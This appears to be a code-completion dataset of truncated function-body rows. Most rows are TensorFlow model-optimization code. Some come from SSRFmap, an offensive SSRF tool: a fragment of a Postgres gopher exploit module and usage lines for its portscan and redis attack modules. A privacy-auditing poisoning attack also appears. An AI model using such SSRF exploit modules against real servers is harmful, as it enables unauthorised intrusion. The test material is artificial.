len_query = len(query) + 5
# Constr... | if(query.strip()!=''):
# Encode username, db and query
encode_user = self.encode_to_hex_str(self.user)
encode_db = self.encode_to_hex_str(self.database)
encode_query = self.encode_to_hex_str(self.query)
len_query = len(query) + 5
# Constr... | 82 | 705 | 349 | 1,054 | from core.utils import *
import logging
import binascii
# NOTE
# This exploit is a Python 3 version of the Gopherus tool
name = "postgres"
description = "Execute Postgres command"
author = "sengkyaut"
documentation = [
"https://github.com/tarunkant/Gopherus"
]
class exploit():
user = "postgres... | from core.utils import *
import logging
import binascii
# NOTE
# This exploit is a Python 3 version of the Gopherus tool
name = "postgres"
description = "Execute Postgres command"
author = "sengkyaut"
documentation = [
"https://github.com/tarunkant/Gopherus"
]
class exploit():
user = "postgres... |
40,371 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/ssrfmap.py | 8,9 | 1,68 | display_banner | 9,18 | 9,18 | #!/usr/bin/python
from core.ssrf import SSRF
import argparse
import logging
import urllib3
def display_banner():
FILL_FUNC_BODYdef parse_args():
example_text = '''Examples:
python ssrfmap.py -r data/request2.txt -p url -m portscan
python ssrfmap.py -r data/request.txt -p url -m redis
python ssrfmap.py... | #!/usr/bin/python
from core.ssrf import SSRF
import argparse
import logging
import urllib3
def display_banner():
FILL_FUNC_BODYdef parse_args():
example_text = '''Examples:
python ssrfmap.py -r data/request2.txt -p url -m portscan
python ssrfmap.py -r data/request.txt -p url -m redis
python ssrfmap.py... | print(" _____ _________________ ")
print("/ ___/ ___| ___ \ ___| ")
print("\ `--.\ `--.| |_/ / |_ _ __ ___ __ _ _ __ ")
print(" `--. \`--. \ /| _| '_ ` _ \ / _` | '_ \ ")
print("/\__/ /\__/ / |\ \| | | | | | | | (_| | |_) |")
print("\____/\____/\... | print(" _____ _________________ ")
print("/ ___/ ___| ___ \ ___| ")
print("\ `--.\ `--.| |_/ / |_ _ __ ___ __ _ _ __ ")
print(" `--. \`--. \ /| _| '_ ` _ \ / _` | '_ \ ")
print("/\__/ /\__/ / |\ \| | | | | | | | (_| | |_) |")
print("\____/\____/\... | 71 | 1,005 | 179 | 1,184 | #!/usr/bin/python
from core.ssrf import SSRF
import argparse
import logging
import urllib3
def display_banner():
FILL_FUNC_BODYdef parse_args():
example_text = '''Examples:
python ssrfmap.py -r data/request2.txt -p url -m portscan
python ssrfmap.py -r data/request.txt -p url -m redis
python ssrfmap.py... | #!/usr/bin/python
from core.ssrf import SSRF
import argparse
import logging
import urllib3
def display_banner():
FILL_FUNC_BODYdef parse_args():
example_text = '''Examples:
python ssrfmap.py -r data/request2.txt -p url -m portscan
python ssrfmap.py -r data/request.txt -p url -m redis
python ssrfmap.py... | |
40,375 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/clustering/keras/clusterable_layer.py | 49,50 | 21,67 | get_clusterable_algorithm | ClusterableLayer | 66,67 | 50,67 | @six.add_metaclass(abc.ABCMeta)
class ClusterableLayer:
"""Abstract Base Class for making your own keras layer clusterable.
Your layer could be derived from a keras built-in layer or
it could be a keras custom layer.
The function get_clusterable_weights should be provided in both cases.
The function get_cl... | @six.add_metaclass(abc.ABCMeta)
class ClusterableLayer:
"""Abstract Base Class for making your own keras layer clusterable.
Your layer could be derived from a keras built-in layer or
it could be a keras custom layer.
The function get_clusterable_weights should be provided in both cases.
The function get_cl... | return None
| """Returns class with the clustering algorithm for the given weight_name.
This function needs to be implemented for the customerable layers.
If the layer is derived from the built-in keras layer, the clustering
algorithm for the base built-in keras layer is used.
The returned class should be deriv... | 2 | 468 | 5 | 473 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,376 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/common/keras/compression/schedules.py | 110,111 | 39,123 | _during_decay | PolynomialDecay | 112,123 | 111,123 | class PolynomialDecay(Scheduler):
"""Scheduling based on polynomial equation.
s(t) = start_value for t < begin_step
= end_value + [(start_value - end_value) * (1 - decay_term) ** exponent]
where decay_term = (t - begin_step) / decay_steps
for 0 <= 1 - decay_term <= 1
... | class PolynomialDecay(Scheduler):
"""Scheduling based on polynomial equation.
s(t) = start_value for t < begin_step
= end_value + [(start_value - end_value) * (1 - decay_term) ** exponent]
where decay_term = (t - begin_step) / decay_steps
for 0 <= 1 - decay_term <= 1
... |
with tf.name_scope(self.name or "PolynomialDecay"):
local_steps = tf.cast(step - self.begin_step, dtype=tf.float32)
decay_term = tf.math.divide(local_steps,
tf.cast(self.decay_steps, dtype=tf.float32))
total_delta = tf.cast(self.start_value - self.end_value, dtyp... | """Return decayed scheduled value."""
with tf.name_scope(self.name or "PolynomialDecay"):
local_steps = tf.cast(step - self.begin_step, dtype=tf.float32)
decay_term = tf.math.divide(local_steps,
tf.cast(self.decay_steps, dtype=tf.float32))
total_delta = tf.ca... | 36 | 944 | 215 | 1,159 | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,378 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/internal/tensor_encoding/core/encoding_stage.py | 774,776 | 754,811 | commutes_with_sum | NoneStateAdaptiveEncodingStage | 776,778 | 776,778 | class NoneStateAdaptiveEncodingStage(AdaptiveEncodingStageInterface):
"""Wraps an `EncodingStageInterface` as `AdaptiveEncodingStageInterface`."""
def __init__(self, wrapped_stage):
if not isinstance(wrapped_stage, EncodingStageInterface):
raise TypeError(
'The provided stage must be an instanc... | class NoneStateAdaptiveEncodingStage(AdaptiveEncodingStageInterface):
"""Wraps an `EncodingStageInterface` as `AdaptiveEncodingStageInterface`."""
def __init__(self, wrapped_stage):
if not isinstance(wrapped_stage, EncodingStageInterface):
raise TypeError(
'The provided stage must be an instanc... | return self._wrapped_stage.commutes_with_sum
| return self._wrapped_stage.commutes_with_sum
| 2 | 536 | 19 | 555 | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
40,379 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/internal/tensor_encoding/core/encoding_stage.py | 615,622 | 589,626 | decode | TFStyleAdaptiveEncodingStage | 622,626 | 622,626 | class TFStyleAdaptiveEncodingStage(cls):
"""The decorated adaptive encoding stage."""
def __init__(self, *args, **kwargs):
self._wrapped_class = cls(*args, **kwargs)
def __getattr__(self, attr):
return self._wrapped_class.__getattribute__(attr)
@_tf_style_initial_state
def initial_s... | class TFStyleAdaptiveEncodingStage(cls):
"""The decorated adaptive encoding stage."""
def __init__(self, *args, **kwargs):
self._wrapped_class = cls(*args, **kwargs)
def __getattr__(self, attr):
return self._wrapped_class.__getattribute__(attr)
@_tf_style_initial_state
def initial_s... | return super(TFStyleAdaptiveEncodingStage,
self).decode(encoded_tensors, decode_params, num_summands,
shape)
| return super(TFStyleAdaptiveEncodingStage,
self).decode(encoded_tensors, decode_params, num_summands,
shape)
| 6 | 364 | 47 | 411 | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
40,380 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/internal/tensor_encoding/core/encoding_stage.py | 544,546 | 531,559 | encode | TFStyleEncodingStage | 546,548 | 546,548 | class TFStyleEncodingStage(cls):
"""The decorated encoding stage."""
def __init__(self, *args, **kwargs):
self._wrapped_class = cls(*args, **kwargs)
def __getattr__(self, attr):
return self._wrapped_class.__getattribute__(attr)
@_tf_style_get_params
def get_params(self, name=None):
... | class TFStyleEncodingStage(cls):
"""The decorated encoding stage."""
def __init__(self, *args, **kwargs):
self._wrapped_class = cls(*args, **kwargs)
def __getattr__(self, attr):
return self._wrapped_class.__getattribute__(attr)
@_tf_style_get_params
def get_params(self, name=None):
... | return super(TFStyleEncodingStage, self).encode(x, encode_params)
| return super(TFStyleEncodingStage, self).encode(x, encode_params)
| 4 | 252 | 24 | 276 | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
40,381 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/internal/tensor_encoding/utils/py_utils.py | 115,116 | 1,191 | merge_dicts | 138,164 | 116,164 | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | merged_dict = collections.OrderedDict()
if not (isinstance(dict1, dict) and isinstance(dict2, dict)):
raise TypeError
for k, v in six.iteritems(dict1):
if isinstance(v, dict):
if not (k in dict2 and isinstance(dict2[k], dict)):
raise ValueError('Dictionaries must have the same structure.')
... | """Merges dictionaries of corresponding structure.
The inputs must be dictionaries, which have the same key only if the
corresponding values are also dictionaries, which will be processed
recursively.
This method is mainly to be used together with the `split_dict_py_tf` method.
Args:
dict1: An arbitr... | 99 | 1,585 | 298 | 1,883 | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | # Copyright 2019, The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | |
40,383 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/quantization/keras/graph_transformations/transforms.py | 119,120 | 72,155 | _eq | LayerNode | 121,131 | 120,131 | class LayerNode(object):
"""Represents a Node in a tree containing a layer.
`LayerNode` is used to represent a tree of layers in a model. It contains
config which describes the layer, and other input layers feeding into it.
It is used as a generic class to represent both sets of layers which have
been found... | class LayerNode(object):
"""Represents a Node in a tree containing a layer.
`LayerNode` is used to represent a tree of layers in a model. It contains
config which describes the layer, and other input layers feeding into it.
It is used as a generic class to represent both sets of layers which have
been found... |
if len(ordered_dict1) != len(ordered_dict2):
return False
for item1, item2 in zip(ordered_dict1.items(), ordered_dict2.items()):
if item1[0] != item2[0] or not (item1[1] == item2[1]).all():
return False
return True
| """Built-in equality test for OrderedDict fails when value is NP array."""
if len(ordered_dict1) != len(ordered_dict2):
return False
for item1, item2 in zip(ordered_dict1.items(), ordered_dict2.items()):
if item1[0] != item2[0] or not (item1[1] == item2[1]).all():
return False
ret... | 25 | 672 | 103 | 775 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,384 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/quantization/keras/graph_transformations/transforms.py | 168,170 | 155,204 | pattern | Transform | 171,173 | 170,173 | @six.add_metaclass(abc.ABCMeta)
class Transform(object):
"""Defines a transform to be applied to a keras model graph.
A transform is a combination of 'Find + Replace' which describes how to find
a pattern of layers in a model, and what to replace those layers with.
A pattern is described using `LayerPattern`.... | @six.add_metaclass(abc.ABCMeta)
class Transform(object):
"""Defines a transform to be applied to a keras model graph.
A transform is a combination of 'Find + Replace' which describes how to find
a pattern of layers in a model, and what to replace those layers with.
A pattern is described using `LayerPattern`.... | raise NotImplementedError()
| """Return the `LayerPattern` to find in the model graph."""
raise NotImplementedError()
| 2 | 479 | 12 | 491 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,385 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/quantization/keras/quantize_layout_transform.py | 43,45 | 35,59 | apply | QuantizeLayoutTransform | 58,59 | 45,59 | @six.add_metaclass(abc.ABCMeta)
class QuantizeLayoutTransform(object):
"""Apply transformations to the model.
Transforms the original model to perform better while quantized
and also match the layout of the target backend.
"""
@abc.abstractmethod
def apply(self, model, layer_quantize_map):
FILL_FUNC_BODY | @six.add_metaclass(abc.ABCMeta)
class QuantizeLayoutTransform(object):
"""Apply transformations to the model.
Transforms the original model to perform better while quantized
and also match the layout of the target backend.
"""
@abc.abstractmethod
def apply(self, model, layer_quantize_map):
"""Transfor... | raise NotImplementedError('Must be implemented in subclasses.')
| """Transform model to a quantization friendly model.
Args:
model: Keras model to be quantized.
layer_quantize_map: Map containing list of layers to be quantized and
associated metadata. Keys are layer names which need to be quantized,
and values are dicts containing relevant metadat... | 6 | 228 | 18 | 246 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,386 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/quantization/keras/quantize_registry.py | 41,43 | 24,52 | get_quantize_config | QuantizeRegistry | 51,52 | 43,52 | @six.add_metaclass(abc.ABCMeta)
class QuantizeRegistry(object):
"""ABC interface which specifies how layers should be quantized.
The Registry is designed to function as a repository of `QuantizeConfig`s
linked to layers. The idea is that while applying quantization to the various
layers within a Keras model, t... | @six.add_metaclass(abc.ABCMeta)
class QuantizeRegistry(object):
"""ABC interface which specifies how layers should be quantized.
The Registry is designed to function as a repository of `QuantizeConfig`s
linked to layers. The idea is that while applying quantization to the various
layers within a Keras model, t... | raise NotImplementedError('Must be implemented in subclasses.')
| """Returns the quantization config for the given layer.
Args:
layer: input layer to return quantize config for.
Returns:
Returns the QuantizeConfig for the given layer.
"""
raise NotImplementedError('Must be implemented in subclasses.')
| 6 | 281 | 18 | 299 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,387 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/quantization/keras/quantize_scheme.py | 28,30 | 24,45 | get_layout_transformer | QuantizeScheme | 35,37 | 30,37 | @six.add_metaclass(abc.ABCMeta)
class QuantizeScheme(object):
"""ABC interface which specifies transformer and quantization registry."""
@abc.abstractmethod
def get_layout_transformer(self):
FILL_FUNC_BODY @abc.abstractmethod
def get_quantize_registry(self):
"""Returns the quantization registry for this s... | @six.add_metaclass(abc.ABCMeta)
class QuantizeScheme(object):
"""ABC interface which specifies transformer and quantization registry."""
@abc.abstractmethod
def get_layout_transformer(self):
"""Returns the layout transforms for this scheme.
Returns:
Returns the QuantizeLayoutTransform for this qua... | raise NotImplementedError('Must be implemented in subclasses.')
| """Returns the layout transforms for this scheme.
Returns:
Returns the QuantizeLayoutTransform for this quantization scheme.
"""
raise NotImplementedError('Must be implemented in subclasses.')
| 6 | 175 | 20 | 195 | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,388 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/sparsity/keras/prunable_layer.py | 29,31 | 21,40 | get_prunable_weights | PrunableLayer | 39,40 | 31,40 | @six.add_metaclass(abc.ABCMeta)
class PrunableLayer(object):
"""Abstract Base Class for making your own keras layer prunable.
Custom keras layers which want to add pruning should implement this class.
"""
@abc.abstractmethod
def get_prunable_weights(self):
FILL_FUNC_BODY | @six.add_metaclass(abc.ABCMeta)
class PrunableLayer(object):
"""Abstract Base Class for making your own keras layer prunable.
Custom keras layers which want to add pruning should implement this class.
"""
@abc.abstractmethod
def get_prunable_weights(self):
"""Returns list of prunable weight tensors.
... | raise NotImplementedError('Must be implemented in subclasses.')
| """Returns list of prunable weight tensors.
All the weight tensors which the layer wants to be pruned during
training must be returned by this method.
Returns: List of weight tensors/kernels in the keras layer which must be
pruned during training.
"""
raise NotImplementedError('Must be... | 6 | 170 | 18 | 188 | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,389 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/sparsity/keras/pruning_schedule.py | 168,169 | 134,180 | get_config | ConstantSparsity | 169,180 | 169,180 | class ConstantSparsity(PruningSchedule):
"""Pruning schedule with constant sparsity(%) throughout training."""
def __init__(self,
target_sparsity,
begin_step,
end_step=-1,
frequency=100):
"""Initializes a Pruning schedule with constant sparsity.
... | class ConstantSparsity(PruningSchedule):
"""Pruning schedule with constant sparsity(%) throughout training."""
def __init__(self,
target_sparsity,
begin_step,
end_step=-1,
frequency=100):
"""Initializes a Pruning schedule with constant sparsity.
... | return {
'class_name': self.__class__.__name__,
'config': {
'target_sparsity': self.target_sparsity,
'begin_step': self.begin_step,
'end_step': self.end_step,
'frequency': self.frequency
}
}
| return {
'class_name': self.__class__.__name__,
'config': {
'target_sparsity': self.target_sparsity,
'begin_step': self.begin_step,
'end_step': self.end_step,
'frequency': self.frequency
}
}
| 16 | 412 | 95 | 507 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,390 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/sparsity/keras/pruning_schedule.py | 248,249 | 180,260 | get_config | PolynomialDecay | 249,260 | 249,260 | class PolynomialDecay(PruningSchedule):
"""Pruning Schedule with a PolynomialDecay function."""
def __init__(self,
initial_sparsity,
final_sparsity,
begin_step,
end_step,
power=3,
frequency=100):
"""Initializes a Pruning ... | class PolynomialDecay(PruningSchedule):
"""Pruning Schedule with a PolynomialDecay function."""
def __init__(self,
initial_sparsity,
final_sparsity,
begin_step,
end_step,
power=3,
frequency=100):
"""Initializes a Pruning ... | return {
'class_name': self.__class__.__name__,
'config': {
'initial_sparsity': self.initial_sparsity,
'final_sparsity': self.final_sparsity,
'power': self.power,
'begin_step': self.begin_step,
'end_step': self.end_step,
'freque... | return {
'class_name': self.__class__.__name__,
'config': {
'initial_sparsity': self.initial_sparsity,
'final_sparsity': self.final_sparsity,
'power': self.power,
'begin_step': self.begin_step,
'end_step': self.end_step,
'freque... | 20 | 801 | 119 | 920 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,391 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_model-optimization/model-optimization/tensorflow_model_optimization/python/core/sparsity/keras/pruning_schedule.py | 40,41 | 22,134 | _should_prune_in_step | PruningSchedule | 55,66 | 41,66 | @six.add_metaclass(abc.ABCMeta)
class PruningSchedule(object):
"""Specifies when to prune layer and the sparsity(%) at each training step.
PruningSchedule controls pruning during training by notifying at each step
whether the layer's weights should be pruned or not, and the sparsity(%) at
which they should be ... | @six.add_metaclass(abc.ABCMeta)
class PruningSchedule(object):
"""Specifies when to prune layer and the sparsity(%) at each training step.
PruningSchedule controls pruning during training by notifying at each step
whether the layer's weights should be pruned or not, and the sparsity(%) at
which they should be ... | is_in_pruning_range = tf.math.logical_and(
tf.math.greater_equal(step, begin_step),
# If end_pruning_step is negative, keep pruning forever!
tf.math.logical_or(
tf.math.less_equal(step, end_step), tf.math.less(end_step, 0)))
is_pruning_turn = tf.math.equal(
tf.math.f... | """Checks if pruning should be applied in the current training step.
Pruning should only occur within the [`begin_step`, `end_step`] range every
`frequency` number of steps.
Args:
step: Current training step.
begin_step: Step at which to begin pruning.
end_step: Step at which to end ... | 28 | 990 | 189 | 1,179 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,393 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/audit_2020/attacks.py | 21,22 | 1,116 | make_clip_aware | 31,57 | 22,57 | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | x_shape = list(train_x.shape[1:])
to_image = lambda x: x.reshape([-1] + x_shape) # reshapes to standard image shape
flatten = lambda x: x.reshape((x.shape[0], -1)) # flattens all pixels - allows PCA
# make sure to_image an flatten are inverse functions
assert np.allclose(to_image(flatten(train_x)), train_x... | """
train_x: clean training features - must be shape (n_samples, n_features)
train_y: clean training labels - must be shape (n_samples, )
Returns x, y1, y2
x: poisoning sample
y1: first corresponding y value
y2: second corresponding y value
"""
x_shape = list(train_x.shape[1:])
to_image = lambda x:... | 82 | 1,150 | 405 | 1,555 | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,394 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/audit_2020/audit.py | 22,24 | 1,120 | compute_results | 32,50 | 24,50 | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | if threshold is None: # search for best threshold
all_thresholds = np.unique(poison_scores + unpois_scores)
else:
all_thresholds = [threshold]
poison_arr = np.array(poison_scores)
unpois_arr = np.array(unpois_scores)
best_threshold, best_epsilon, best_acc = None, 0, 0
for thresh in all_thresholds... | """
